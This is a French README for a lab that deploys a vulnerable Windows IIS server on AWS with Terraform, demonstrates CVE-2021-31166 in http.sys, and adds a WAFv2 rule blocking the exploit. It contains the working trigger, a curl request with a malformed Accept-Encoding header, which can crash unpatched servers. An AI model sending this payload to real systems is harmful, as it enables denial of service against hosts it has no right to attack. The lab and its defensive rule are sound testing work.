
Preuve de concept pour CVE-2021-31166 (RCE http.sys) avec déploiement Terraform sur AWS, incluant des scripts de test et une règle WAFv2 pour bloquer l'exploit.
Ce dépôt s'inspire de 0vercl0k pour une preuve de concept de CVE-2021-31166 (« Vulnérabilité d'exécution de code à distance dans la pile de protocoles HTTP »), une déréférence use-after-free dans http.sys corrigée par Microsoft en mai 2021.
git clone https://github.com/bgsilvait/WIn-CVE-2021-31166.git
cd WIn-CVE-2021-31166
terraform init
terraform plan
terraform apply --auto-approve
Le terraform créera une instance EC2 avec Windows Server Core 20H2, installera IIS et ajoutera les permissions SSM pour ouvrir une session Web Powershell depuis la console AWS. Il créera également un et utilisera l'instance comme cible. Par défaut, le n'ajoutera que comme autorisation d'accès en .
Application Load BalancerSecurity Group#Define Values from Terraform Output
ALB=$(terraform output -raw lb_dns_name)
EC2IP=$(terraform output -json public_ip | jq -r '.[0]')
#Testing to ALB
while true; do curl -I $ALB --connect-timeout 1 ; done
#Testing Directly to EC2'
while true; do curl -I $EC2IP --connect-timeout 1 ; done
#Testing to ALB
curl -i $ALB -H "Accept-Encoding: doar-e, ftw, imo, ,"
#Testing Directly to EC2'
curl -i $EC2IP -H "Accept-Encoding: doar-e, ftw, imo, ,"
{
"Name": "cve-block",
"Priority": 0,
"Statement": {
"ByteMatchStatement": {
"SearchString": "doar-e, ftw, imo, ,",
"FieldToMatch": {
"SingleHeader": {
"Name": "accept-encoding"
}
},
"TextTransformations": [
{
"Priority": 0,
"Type": "NONE"
}
],
"PositionalConstraint": "EXACTLY"
}
},
"Action": {
"Block": {
"CustomResponse": {
"ResponseCode": 418,
"CustomResponseBodyKey": "418"
}
}
},
"VisibilityConfig": {
"SampledRequestsEnabled": true,
"CloudWatchMetricsEnabled": true,
"MetricName": "cve-block"
}
}